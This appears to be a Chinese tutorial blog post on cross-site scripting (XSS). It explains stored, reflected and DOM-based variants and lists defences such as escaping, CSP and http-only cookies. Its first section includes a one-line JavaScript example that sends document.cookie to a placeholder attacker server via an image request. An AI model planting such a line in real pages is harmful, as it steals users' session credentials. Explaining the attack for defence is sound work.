xss攻击是什么?

XSS 是什么?

XSS,即跨站脚本攻击,是 Cross-site scripting 的简称。

完整名称缩写后本该是 CSS,但这恰好与 层叠样式表 Cascading Style Sheets 的缩写撞车了,为了加以区分,便采用了 XSS 这个叫法。

XSS,归根结底属于代码注入。借助某种途径在目标网站中插入一段恶意脚本,当访客浏览该站点时便会触发这段代码。

攻击手段大致包含以下几类:

  • 窃取用户的登录凭据,得手后登入账户窃取隐私数据

const img = new Image();
img.src = 攻击者的服务器_ip + document.cookie;

  • 直接执行某些需要授权才能完成的操作,例如替站内某人投票。
  • 针对小型站点发起 Dos 攻击。所谓 Dos 就是在极短时间内发送海量请求,使网站来不及响应,造成服务不可用。假设你在百度首页成功植入了恶意脚本,该脚本持续向某个小站发起请求。与此同时大量用户打开百度首页,请求量就变得极其惊人,小站直接瘫痪。

XSS 分类

XSS 主要包含:存储型 XSS、反射型 XSS、以及 DOM 型 XSS。

存储型 XSS

恶意脚本被永久性地存放在数据库里。

例如在个人简介的文本字段中,写入了 <script>// 此处为一段恶意代码</script>。当访客打开攻击者的个人主页时,若服务端渲染直接采用了这段数据,且未做任何转义处理,生成的 HTML 里便夹带了这段脚本,随即执行。

反射型 XSS

部分网页会把 URL 中的某些参数当作页面内容来渲染。

比如我们期望用户完成支付后跳转至结果页,该页面通过 URL 中的查询字符串来展示信息,例如 http://a.com/order?message=成功,我们会取出 message 的值”成功”,把这段文字渲染到页面上。

倘若这个”成功”被攻击者替换成恶意脚本,变为 http://a.com/order?message=<script>// 恶意脚本内容</script>,且站点未做转义处理,那么这段恶意脚本就会被嵌入并执行。

当然这类链接看起来很异常,用户正常情况下不会接触到。

于是攻击者需要提前构造好,再通过某些手段引导用户去访问,比如借助钓鱼邮件诱导点击。

DOM 型 XSS

DOM 型 XSS 与反射型较为相似,但它跟后端没有关系,属于前端的漏洞。

前两种类型采用的是服务端渲染,即用户请求 HTML 时,由服务端组装好完整的 HTML 返回。

DOM 型 XSS 则是服务端并未返回完整的 HTML,而是交由前端来拼接渲染,若未做特殊处理,同样会引发恶意代码注入。

XSS 防御

  • 不要轻信用户提交的数据;
  • 运用转义,通常是对 '&<> 进行转义。例如 React 已对字符做了防 XSS 处理,源码位置:https://github.com/facebook/react/blob/HEAD/packages/react-dom/src/server/escapeTextForBrowser.js#L51
  • 若采用后端渲染,也务必做好转义或过滤处理;
  • 部署 CSP(内容安全策略)。Twitter 站点就应用了该策略;
  • 对敏感 cookie 加上 http-only 标记,使前端脚本无法读取;
  • cookie 的 SameSite 属性建议调整为 Strict 或 Lax,让跨域 HTTP 请求的头部无法自动附带 cookie;
  • 发起敏感操作时,增加验证码验证;
  • 限制内容输入长度(效果有限);

结尾

XSS 攻击属于一种相当普遍的代码注入类攻击。

日常开发中,需留意哪些数据在渲染时可能存在 XSS 注入隐患,做好必要的防护措施,希望本文对你有所启发。

原创文章,作者:余初云,如若转载,请注明出处:https://blog.jidcy.com/jsjc/2882.html

Like (1)
Previous 2026年6月8日
Next 2026年6月8日

相关推荐

  • 云主机备份策略指南:从基础规则到落地实操

    在企业数字化业务全面上云的今天,云主机早已成为承载核心业务数据、系统服务的核心载体。但不少运维团队都曾遇到过数据丢失的突发状况:误删核心业务文件、勒索病毒加密全量数据、硬件故障导致…

    2026年9月8日
    0
  • 什么是DNS欺骗

    一、核心定义与别名 ‌基础定义‌:攻击者冒充域名服务器,把用户查询的目标网站IP替换为攻击者控制的恶意IP,让用户直接访问伪造站点。 ‌常见别名‌:也被称为DNS缓存投毒、域名服务…

    2026年8月11日
    0
  • 数据库服务器该如何挑选?

    “数据无价”这句话相信大家都不陌生,既然数据的重要性不言而喻,选购一款安全稳定的数据服务器自然也就显得十分必要了。那么,究竟该如何挑选一款既可靠又稳定的数据…

    2026年7月30日
    0
  • 如何提高Ubuntu 18.04系统的SSH安全性?

    SSH服务是云服务器的主要访问点,同时也是最容易受到攻击的服务之一。本指南将通过不同的技巧和技术帮助提高服务的安全性。 更改端口 监听SSH连接的默认端口是22,更改此设置将允许将…

    2026年5月20日
    0
  • 什么是CISA证书?如何获得CISA认证?

    CISA(注册信息系统审计师,Certified Information Systems Auditor),自1978年起,由国际信息系统审计协会(ISACA)开始实施注册。目前,…

    2026年5月6日
    0
  • DDoS攻击是什么?如何进行DDoS防御防护?攻击原理手法详解

    什么是DDoS攻击?企业应如何加强针对DDoS攻击的防范?五大关键方向:建立分析与检测机制、多层架构、负载均衡处理、使用DDoS防护服务以及制定应急措施,都是必不可少的! 什么是D…

    2026年4月2日
    0
  • 高防ip是什么?

    高防 IP 属于一项付费增值服务,主要用于解决互联网服务器遭遇大流量 DDoS 攻击后服务中断的问题。用户配置该 IP 后,可把攻击流量导向高防节点,保障源服务器平稳运行。该服务无…

    2026年5月27日
    0
  • 什么是WebShell?

    在Linux系统当中,Shell指的是操作系统所提供的命令行运行环境,而与之对应的WebShell,则是指通过Web方式呈现出来的一种Shell环境。部分管理后台系统支持在不直接登…

    2026年7月31日
    0
  • cpu核数是什么意思

    CPU是什么意思?CPU是日常生活中很常见的硬件设备,台式电脑、笔记本电脑、手机、服务器中都必须要有CPU,CPU核数即一个CPU由多少个核心组成,核心数越多,代表这个CPU的运转…

    2026年5月22日
    0
  • 云计算安全防护方案解析

    云计算安全是指一系列旨在保护数据、应用程序及技术基础设施的技术、解决方案与流程。它的重要性体现在,不仅能够守护企业与客户的数据安全,还能确保业务的持续稳定运行。本文将具体阐述云计算…

    2026年4月25日
    0